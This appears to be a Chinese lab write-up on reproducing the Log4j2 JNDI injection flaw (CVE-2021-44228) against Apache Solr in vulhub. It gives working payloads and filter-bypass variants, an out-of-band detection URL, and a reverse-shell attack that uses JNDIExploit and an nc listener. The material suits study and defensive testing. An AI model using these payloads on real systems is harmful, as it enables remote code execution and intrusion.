apache log4j 2(CVE-2021-44228)漏洞复现

目录

一、漏洞信息

二、 Log4j 2漏洞原理

三、利用

四、绕过

五、漏洞复现

5.1 漏洞环境搭建

5.2 漏洞检测

 5.3 攻击(复现)


一、漏洞信息

漏洞名称

 Apache Log4j2 lookup JNDI 注入漏洞

(Apache Log4j2 lookup feature JNDI injection)

漏洞编号CVE-2021-44228
危害等级严重
CVSS评分10
漏洞类型代码问题
vulhub Pathlog4j/CVE-2021-44228
相关概念

Apache Log4j

Apache的开源项目,一个功能强大的日志组件,提供方便的日志记录

Apache Log4j 2

对Log4j的升级,它比其前身Log4j 1.x提供了重大改进,并提供了Logback中可用的许多改进,同时修复了Logback架构中的一些问题。优秀的Java日志框架
Log4j2 漏洞受影响版本2.0到2.14.1版本中存在一处JNDI注入漏洞

二、 Log4j 2漏洞原理

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Example {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger(Example.class);
        String user_input = args[0];
        logger.info("User input: " + user_input);
    }
}

在这个示例中,我们使用了log4j的Java API来记录日志。然而,我们没有对用户输入进行任何过滤或验证,这意味着如果用户输入包含恶意代码,它将会被记录到日志文件中。

这个漏洞的根本原因在于log4j的默认配置允许使用解析日志消息中的对象。攻击者可以构造恶意的日志消息,其中包含一个恶意的Java对象,当log4j尝试解析这个对象时,它将会触发漏洞,导致攻击者能够执行任意代码。
【API(Application Programming Interface,应用程序编程接口)是一些预先定义的函数】

Log4j 为了输出日志时能输出任意位置的 Java 对象,引入了 Lookup 接口,这个 Lookup 接口可以看作是 JNDI 的一种实现,允许按照具体的名称逻辑查找对象的位置,并输出对象的内容,此对象可以通过Java 的序列化或 反序列化传输,从远程服务器上查找。
由于 Lookup 接口的原因, Log4j 就暗含 JNDI 注入漏洞,可以联合使用 JNDI+LDAP 或者 JNDI+RMI 通过命名功 能直接从远程服务器上调用文件并在本地执行。
Log4j 在处理消息转换时,会按照字符检测每条日志,当日志中包含 ${} 时,则会将表达式的内容替换成真实的内容( lookup 接口查找得到的内容),使用 LDAP RMI 协议,能从远程服务区上请求恶意的对象,对象在调用的过程中会被解析执行,导致了Log4j 的漏洞。

三、利用

ldap/rmi 注入
Log4j2漏洞总的来说就是:因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可)
payload:${jndi:ldap://127.0.0.1:1234/ExportObject}

四、绕过

1. 利用分隔符和多个${}绕过
2. 通过 lower 和 upper 绕过
3 可以利用一些特殊字符
4 可以利用编码绕过
${${a:-j}ndi:ldap://127.0.0.1:1234/ExportObject};
${${a:-j}n${::-d}i:ldap://127.0.0.1:1234/ExportObject}";
${${lower:jn}di:ldap://127.0.0.1:1234/ExportObject}";
${${lower:${upper:jn}}di:ldap://127.0.0.1:1234/ExportObject}";
${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:1234/ExportObject}";

五、漏洞复现

Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库。我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。

5.1 漏洞环境搭建

搭建环境:Ubuntu

工具:vulhub

命令语句:

1、cd vulhub/log4j/CVE-2021-44228
2、docker-compose up -d
#执行命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1

服务启动后,访问http://your-ip:8983即可查看到Apache Solr的后台页面:

5.2 漏洞检测

放在检码平台打一下,检测到带外流量则说明存在该漏洞。

配合dnslog常见的dnslog平台:
dnslog: http://www.dnslog.cn/
dnslog:https://log.xn--9tr.com/
ceye:http://ceye.io/

例如:ceye

5.2.1 首先得到主域名:u80phv.ceye.io

 就可以构造 payload: ${jndi:ldap://u80phv.ceye.io/exp}

5.2.2 传参点

http://your-ip:8983/solr/admin/cores?action=payload

eg. http://192.168.57.135:8983/solr/admin/cores?action=${jndi:ldap://u80phv.ceye.io/exp}

 检测到带外流量,说明存在该漏洞。

 5.3 攻击(复现)

靶机:Ubuntu-20.04

攻击机:Kali-2022

5.3.1 实际利用JNDI注入漏洞,可以使用[这个工具](https://github.com/su18/JNDI)。下载到攻击机。

在工具窗口右击打开终端:输入命令【java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.57.136】(攻击机-IP)

5.3.2 反弹shell到攻击机 

首先,攻击机启动命令,监听端口:nc -lvvp 7777

浏览器进入:

http://192.168.57.135:8983/solr/admin/cores?
action=${jndi:ldap://192.168.57.136:1389/Basic/ReverseShell/192.168.57.136/7777}

攻击成功。 

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值